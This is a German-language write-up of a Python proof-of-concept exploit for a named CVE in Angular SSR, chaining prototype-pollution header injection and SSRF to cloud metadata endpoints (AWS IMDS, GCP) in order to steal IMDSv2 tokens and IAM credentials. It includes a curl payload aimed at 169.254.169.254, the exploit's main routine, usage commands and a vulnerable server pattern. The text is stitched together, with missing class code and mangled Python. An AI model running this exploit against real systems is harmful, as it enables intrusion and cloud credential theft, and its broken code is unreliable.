
Python-PoC, das CVE-2026-27739 in Angular SSR ausnutzt: Header-Injection über Prototype Pollution und SSRF-Verkettung zu AWS IMDS/GCP-Metadaten zum Diebstahl von Anmeldedaten.
curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}
Beschreibung: Angular SSR verarbeitet unsichere Query-Parameter, die die Prototype-Chain beeinflussen Auswirkung: Manipulation von Request-Headern, potenzielle SSRF-Verkettung
express-validator oder Ähnliches zur Header-Bereinigung verwendendef main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF & Header Injection Exploit") parser.add_argument("target", help="Target Angular SSR application URL") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL verification")
args = parser.parse_args()
exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)
print(f"[+] Targeting: {args.target}")
print(f"[+] SSL Verify: {'Disabled' if args.no_ssl_verify else 'Enabled'}")
# Execute exploit chain
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()
if name == "main": main() Verwendung bash
python3 angular_ssr_exploit.py https://target.com
python3 angular_ssr_exploit.py https://target.com --no-ssl-verify Funktionsweise Header-Injection-Test: Sendet Prototype-Pollution-Payloads und unsichere Forwarded-Header, die Angular SSR möglicherweise unsicher verarbeitet SSRF-Kette: Testet den Zugriff auf AWS IMDS, GCP-Metadata und localhost-Dienste über X-Forwarded-For/X-Original-URL IMDSv2-Token-Extraktion: Verkettet SSRF, um AWS-Metadata-Token und anschließend IAM-Anmeldedaten zu stehlen Automatisierte Berichterstellung: Erzeugt einen CVSS-bewerteten Pentest-Bericht mit PoCs Technische Details Grundursache: Angular Universal SSR-Apps leiten req.headers häufig direkt an interne APIs weiter, ohne Bereinigung:
javascript
// Vulnerable Angular SSR pattern app.get('*', (req, res) => { const url = req.headers['x-original-url'] || req.originalUrl; // SSRF internalFetch(url, { headers: req.headers }); // Header injection });